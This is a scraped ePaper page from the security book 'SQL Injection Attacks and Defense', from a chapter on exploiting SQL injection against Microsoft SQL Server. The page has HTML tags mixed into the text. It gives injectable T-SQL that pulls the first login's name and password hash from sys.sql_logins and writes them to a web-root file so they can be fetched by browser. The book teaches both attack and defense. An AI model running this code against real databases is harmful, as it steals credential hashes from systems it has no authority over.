28.10.2014 Views

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

204 Chapter 4 • Exploiting <strong>SQL</strong> <strong>Injection</strong><br />

<strong>SQL</strong> Server<br />

With Microsoft <strong>SQL</strong> Server there are various ways to redirect information to the file system,<br />

if your user has the privileges to do so, <strong>and</strong> the best one depends on the type <strong>and</strong> amount<br />

of data you are dealing with. Sometimes you might need to export a simple line of text,<br />

such as the value of a built-in variable like @@version. This is also the case if you extract<br />

data from the database into a single text value, such as the variable @hash in the following<br />

code on <strong>SQL</strong> Server 2005, which retrieves the username <strong>and</strong> hash of the first user in the<br />

sql_logins table:<br />

declare @hash nvarchar(1000)<br />

select top 1 @hash = name + ' | ' +<br />

master.dbo.fn_varbintohexstr(password_hash) from sys.sql_logins<br />

In such a case, it is fairly easy to redirect this value to a text file on the filesystem, by<br />

injecting the following code:<br />

-- Declare needed variables<br />

DECLARE @a int, @hash nvarchar(100), @fileid int;<br />

-- Take the username <strong>and</strong> password hash of the first user in sql_logins<br />

-- <strong>and</strong> store it into the variable @hash<br />

SELECT top 1 @hash = name + ' | ' +<br />

master.dbo.fn_varbintohexstr(password_hash) FROM sys.sql_logins;<br />

-- Create a FileSystemObject pointing to the location of the desired file<br />

EXEC sp_OACreate 'Scripting.FileSystemObject', @a OUT;<br />

EXEC sp_OAMethod @a, 'OpenTextFile', @fileid OUT,<br />

'c:\inetpub\wwwroot\hash.txt', 8, 1;<br />

–- Write the @hash variable into that file<br />

EXEC sp_OAMethod @fileid, 'WriteLine', Null, @hash;<br />

-- Destroy the objects that are not needed anymore<br />

EXEC sp_OADestroy @fileid;<br />

EXEC sp_OADestroy @a;<br />

Now, all you need to do is to point your browser to the file location <strong>and</strong> retrieve the<br />

information, as shown in Figure 4.16.

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!